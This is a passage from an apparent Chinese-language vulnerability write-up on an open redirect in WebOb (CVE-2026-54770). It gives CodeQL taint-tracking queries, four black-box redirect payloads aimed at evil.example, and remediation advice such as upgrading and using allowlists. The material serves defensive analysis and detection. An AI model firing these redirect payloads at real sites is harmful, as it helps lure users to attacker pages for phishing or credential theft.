      f.getQualifiedName() = "relative_url_result" and
      node = DataFlow::parameterNode(f.getArgByName("target")) and
      kind = "relative_url_result(target)"
    )
  )
}

predicate isHelperSink(DataFlow::Node node, string kind) {
  exists(Assign assign, Attribute attr |
    attr = assign.getATarget() and
    attr.getName() = "location" and
    attr.getObject().(Name).getId() = "res" and
    node = DataFlow::exprNode(assign.getValue()) and
    kind = "response_redirect -> res.location = target"
  )
  or
  exists(DataFlow::CallCfgNode call |
    call.getFunction().(DataFlow::AttrRef).getAttributeName() = "relative_url" and
    node = call.getArg(0) and
    kind = "relative_url_result -> req.relative_url(target)"
  )
}

第三类查询下钻到 WebOb 库层,确认最终 sink 到底是旧版 urllib.parse/urljoin、修复版 webob.util.urljoin,还是 _HTTPMove 先把值塞进对象状态再读出来:

predicate isLibrarySource(DataFlow::Node node, string kind) {
  exists(Function f |
    (
      f.getQualifiedName() = "BaseRequest.relative_url" and
      node = DataFlow::parameterNode(f.getArgByName("other_url")) and
      kind = "BaseRequest.relative_url(other_url)"
      or
      f.getQualifiedName() = "Response._make_location_absolute" and
      node = DataFlow::parameterNode(f.getArgByName("value")) and
      kind = "Response._make_location_absolute(value)"
      or
      f.getQualifiedName() = "_HTTPMove.__init__" and
      node = DataFlow::parameterNode(f.getArgByName("location")) and
      kind = "_HTTPMove.__init__(location)"
    )
  )
}

predicate isLibrarySink(DataFlow::Node node, string kind) {
  exists(DataFlow::CallCfgNode call |
    (
      call.getFunction().(DataFlow::AttrRef).getAttributeName() = "urljoin" and
      node = call.getArg(1) and
      kind = "urllib.parse/urlparse.urljoin(..., tainted)"
      or
      call.getFunction().asCfgNode().(NameNode).getId() = "urljoin" and
      node = call.getArg(1) and
      kind = "webob.util.urljoin(..., tainted)"
      or
      call.getFunction().(DataFlow::AttrRef).getAttributeName() = "_make_location_absolute" and
      node = call.getArg(1) and
      kind = "_HTTPMove.__call__ -> self._make_location_absolute(environ, self.location)"
    )
  )
}

第四类查询专门把 Response.location 的最后一跳单独钉住,避免在对象属性、头部列表和最终 sink 之间丢掉闭环:

from Function f, DataFlow::Node source, DataFlow::CallCfgNode call, string sinkKind
where
  f.getQualifiedName() = "Response._make_location_absolute" and
  source = DataFlow::parameterNode(f.getArgByName("value")) and
  (
    call.getFunction().(DataFlow::AttrRef).getAttributeName() = "urljoin" and
    sinkKind = "urllib.parse/urlparse.urljoin(..., value)"
    or
    call.getFunction().asCfgNode().(NameNode).getId() = "urljoin" and
    sinkKind = "webob.util.urljoin(..., value)"
  ) and
  TaintTracking::localTaint(source, call.getArg(1))
select
  source,
  "Response._make_location_absolute(value) reaches " + sinkKind,
  call.getArg(1),
  sinkKind

这里最值得关注的不是“有没有一个巨大的全链路 path”,而是几段关键传播是否已经被单独命中:

  • req.params.get("next") -> response_redirect(target)
  • response_redirect(target) -> res.location = target
  • BaseRequest.relative_url(other_url) -> urljoin(..., other_url)
  • _HTTPMove.__call__ reads self.location -> urljoin(..., tainted)

只要这些子链路同时成立,攻击者就已经有足够的支点去拼出可利用路径。

3. 最后用黑盒 payload 做最小确认

黑盒确认时,我通常不会一上来堆很多变体,而是先打这几类:

  • //evil.example/poc
  • %20//evil.example/poc
  • %09//evil.example/poc
  • %20https://evil.example/poc

观察重点有两个:

  • 原始响应里的 Location 头是否可控
  • 客户端、代理、调试工具看到的最终跳转目标是否一致

这个顺序的好处是,能先快速识别“明显外链”,再验证“解析阶段才翻义”的细分问题。

修复建议

对防守方来说,最重要的措施并不复杂:

  • 升级到 WebOb 1.8.11 或更高版本
  • 不要把用户原始输入直接作为跳转目标
  • 对允许跳转的地址做显式 allowlist
  • 更推荐传站内路由名、固定 key 或短 token,而不是完整 URL

即使已经升级框架,我仍然建议把业务层 allowlist 留着。原因也很现实:open redirect 很少只是框架问题,它通常是“框架行为 + 业务设计”共同造成的结果。框架修掉一层风险,并不等于业务代码从此可以随便接收外部 URL。

结语

CVE-2026-54770 不是一个靠“奇技淫巧”才能成立的漏洞,它反而很典型。攻击者利用的不是多复杂的输入,而是一个系统里最常见、也最容易被忽略的失配:检查时看的是原始字符串,真正决定行为的却是后续解析阶段重新理解后的值。

这也是为什么这类问题在代码评审里特别容易漏掉。开发者看到的往往只是:

res.location = next

或者:

raise HTTPFound(location=next)

看起来像是把一个“站内返回地址”往下传了一步。可一旦这个值会在框架内部被再次规范化、再次解释,安全边界就已经不在业务代码眼前那一行了。

从攻击者角度看,这类洞的价值不在“它能不能单独拿下系统”,而在“它能不能把一个可信业务流程,平滑地接到攻击者自己的流程里”。只要答案是能,它就不是一个可以轻描淡写带过的低价值问题。